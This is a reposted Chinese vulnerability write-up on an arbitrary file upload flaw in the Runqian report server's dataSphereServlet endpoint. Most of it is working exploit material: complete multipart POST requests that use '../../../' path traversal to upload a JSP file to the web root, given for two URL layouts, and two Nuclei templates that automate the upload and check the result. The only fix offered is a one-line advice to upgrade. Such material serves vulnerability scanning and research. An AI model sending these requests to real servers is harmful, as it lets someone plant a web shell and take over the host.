润乾报表dataSphereServlet接口 任意文件上传漏洞

admin 2024年7月30日08:40:12评论42 views字数 4386阅读14分37秒阅读模式
声明:请勿将文章内的相关技术用于非法目的,如有相关非法行为与文章作者和本公众号无关。

0X01 简介
润乾报表是一个纯JAVA的企业级报表工具,支持对J2EE系统的嵌入式部署,无缝集成。服务器端支持各种常见的操作系统,支持各种常见的关系数据库和各类J2 EE的应用服务器,客户端采用标准纯html方式展现,支持ie和netscape, 润乾报表是领先的企业级报表分析软件。它提供了高效的报表设计方案、强大的报表展现能力、灵活的部署机制,支持强关联语义模型,并且具备强有力的填报功能和olap分析,为企业级数据分析与商业智能提供了高性能、高效率的报表系统解决方案。
漏洞编号:


影响范围:


复现环境:

润乾报表 20221210
0X02 漏洞复现
注:新搭建系统存在demo路径,网上查询已搭建好的部分不存在demo路径,poc给出两个方案。
存在demo路径POC:
POST /demo/servlet/dataSphereServlet?action=38 HTTP/1.1Host: 127.0.0.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)Accept-Encoding: gzip, deflateAccept: */*Connection: closeContent-Length: 392Content-Type: multipart/form-data; boundary=eac629ee4641cb0fe10596fba5e0c5d9

--eac629ee4641cb0fe10596fba5e0c5d9Content-Disposition: form-data; name="openGrpxFile"; filename="539634.jsp"Content-Type: text/plain

<% out.println("123456"); %>--eac629ee4641cb0fe10596fba5e0c5d9Content-Disposition: form-data; name="path"

../../../--eac629ee4641cb0fe10596fba5e0c5d9Content-Disposition: form-data; name="saveServer"

1--eac629ee4641cb0fe10596fba5e0c5d9--
【漏洞复现】润乾报表dataSphereServlet接口 任意文件上传漏洞
http://192.168.31.133:6868/demo/539634.jsp
【漏洞复现】润乾报表dataSphereServlet接口 任意文件上传漏洞
Nuclei:
id: runqianbaobiaowenjianshangchuan-DEMO

info:  name: 润乾报表dataSphereServlet接口存在任意文件上传漏洞  author: 紫色皓月  severity: high  description: 润乾报表dataSphereServlet接口存在任意文件上传漏洞  tags: 2024,润乾报表,任意文件上传,DEMO

variables:  file_name: "{{to_lower(rand_text_alpha(8))}}.txt"  file_content: "{{to_lower(rand_text_numeric(32))}}"

requests:  - raw:    - |      POST /demo/servlet/dataSphereServlet?action=38 HTTP/1.1      Host: {{Hostname}}      User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)      Accept-Encoding: gzip, deflate      Accept: */*      Connection: close      Content-Length: 395      Content-Type: multipart/form-data; boundary=eac629ee4641cb0fe10596fba5e0c5d9

      --eac629ee4641cb0fe10596fba5e0c5d9      Content-Disposition: form-data; name="openGrpxFile"; filename="{{file_name}}"      Content-Type: text/plain

      {{file_content}}      --eac629ee4641cb0fe10596fba5e0c5d9      Content-Disposition: form-data; name="path"

      ../../../      --eac629ee4641cb0fe10596fba5e0c5d9      Content-Disposition: form-data; name="saveServer"

      1      --eac629ee4641cb0fe10596fba5e0c5d9--

    - |      GET /demo/{{file_name}} HTTP/1.1      Host: {{Hostname}}      User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8      Accept-Language: en-US,en;q=0.5      Accept-Encoding: gzip, deflate      Connection: close      Upgrade-Insecure-Requests: 1

    req-condition: true    matchers:      - type: word        words:          - "{{file_content}}"        part: body
【漏洞复现】润乾报表dataSphereServlet接口 任意文件上传漏洞
无demo路径:
POST /servlet/dataSphereServlet?action=38 HTTP/1.1Host: 127.0.0.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)Accept-Encoding: gzip, deflateAccept: */*Connection: closeContent-Length: 392Content-Type: multipart/form-data; boundary=eac629ee4641cb0fe10596fba5e0c5d9

--eac629ee4641cb0fe10596fba5e0c5d9Content-Disposition: form-data; name="openGrpxFile"; filename="539634.jsp"Content-Type: text/plain

<% out.println("123456"); %>--eac629ee4641cb0fe10596fba5e0c5d9Content-Disposition: form-data; name="path"

../../../--eac629ee4641cb0fe10596fba5e0c5d9Content-Disposition: form-data; name="saveServer"

1--eac629ee4641cb0fe10596fba5e0c5d9--

http://192.168.31.133:6868/539634.jsp

nuclei:id: runqianbaobiaowenjianshangchuan

info:  name: 润乾报表dataSphereServlet接口存在任意文件上传漏洞  author: 紫色皓月  severity: high  description: 润乾报表dataSphereServlet接口存在任意文件上传漏洞  tags: 2024,润乾报表,任意文件上传

variables:  file_name: "{{to_lower(rand_text_alpha(8))}}.txt"  file_content: "{{to_lower(rand_text_numeric(32))}}"

requests:  - raw:    - |      POST /servlet/dataSphereServlet?action=38 HTTP/1.1      Host: {{Hostname}}      User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)      Accept-Encoding: gzip, deflate      Accept: */*      Connection: close      Content-Length: 395      Content-Type: multipart/form-data; boundary=eac629ee4641cb0fe10596fba5e0c5d9

      --eac629ee4641cb0fe10596fba5e0c5d9      Content-Disposition: form-data; name="openGrpxFile"; filename="{{file_name}}"      Content-Type: text/plain

      {{file_content}}      --eac629ee4641cb0fe10596fba5e0c5d9      Content-Disposition: form-data; name="path"

      ../../../      --eac629ee4641cb0fe10596fba5e0c5d9      Content-Disposition: form-data; name="saveServer"

      1      --eac629ee4641cb0fe10596fba5e0c5d9--

    - |      GET /{{file_name}} HTTP/1.1      Host: {{Hostname}}      User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8      Accept-Language: en-US,en;q=0.5      Accept-Encoding: gzip, deflate      Connection: close      Upgrade-Insecure-Requests: 1

    req-condition: true    matchers:      - type: word        words:          - "{{file_content}}"        part: body

0X03 修复建议

升级至安全版本!

原文始发于微信公众号(皓月的笔记本):【漏洞复现】润乾报表dataSphereServlet接口 任意文件上传漏洞

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年7月30日08:40:12
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   润乾报表dataSphereServlet接口 任意文件上传漏洞https://cn-sec.com/archives/3004971.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息